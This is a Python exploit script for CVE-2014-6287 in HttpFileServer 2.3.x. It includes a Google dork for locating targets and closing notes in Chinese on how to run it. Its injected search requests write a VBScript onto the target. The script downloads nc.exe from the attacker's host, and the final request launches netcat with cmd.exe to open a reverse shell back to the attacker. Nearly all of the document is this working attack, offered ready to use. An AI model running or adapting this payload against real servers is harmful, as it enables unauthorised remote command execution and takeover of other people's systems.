#!/usr/bin/env python

# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
#     It's different from classic file sharing because it uses web technology to be more
#     compatible with today's Internet. It also differs from classic web servers because
#     it's very easy to use and runs "right out-of-the box". Access your remote files, over
#     the network. It has been successfully tested with Wine under Linux.

# Usage : python Exploit.py <Target IP address> <Target Port Number>
# EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/bin/nc.exe).
# You may need to run it multiple times for success!

import urllib2 as url
import sys


def main():
    try:
        def script_create():
            url.urlopen("http://" + rhost + ":" + rport + "/?search=%00{.+" + save + ".}")

        def execute_script():
            url.urlopen("http://" + rhost + ":" + rport + "/?search=%00{.+" + exe1 + ".}")

        def nc_run():
            url.urlopen("http://" + rhost + ":" + rport + "/?search=%00{.+" + exe2 + ".}")

        rhost = sys.argv[1]
        rport = sys.argv[2]
        lhost = "172.16.2.2"  # local IP address
        lport = "1234"  # Local Port number
        save = "save|" + "C%3A%5CUsers%5CPublic%5Cscript.vbs|" + \
            "dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)" + \
            "%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)" + \
            "%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F" + lhost + \
            "%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm" + \
            "%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20." + \
            "open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20." + \
            "savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%20" + \
            "2%20%27%2F%2Foverwrite%0D%0Aend%20with"
        exe1 = "exec|" + "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
        exe2 = "exec|" + "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20" + \
            lhost + "%20" + lport

        script_create()
        execute_script()
        nc_run()
    except:
        print "[-] Something went wrong..!"
        print "[-] Usage is: python %s <Target IP address> <Target Port Number>" % sys.argv[0]
        print "[-] Don't forget to change the Local IP address and Port number in the script."
        sys.exit(-1)


if __name__ == '__main__':
    main()

执行两次
第一次是为了上传nc.exe
第二次是建立连接
需要开启http服务
并在根目录下面放上nc.exe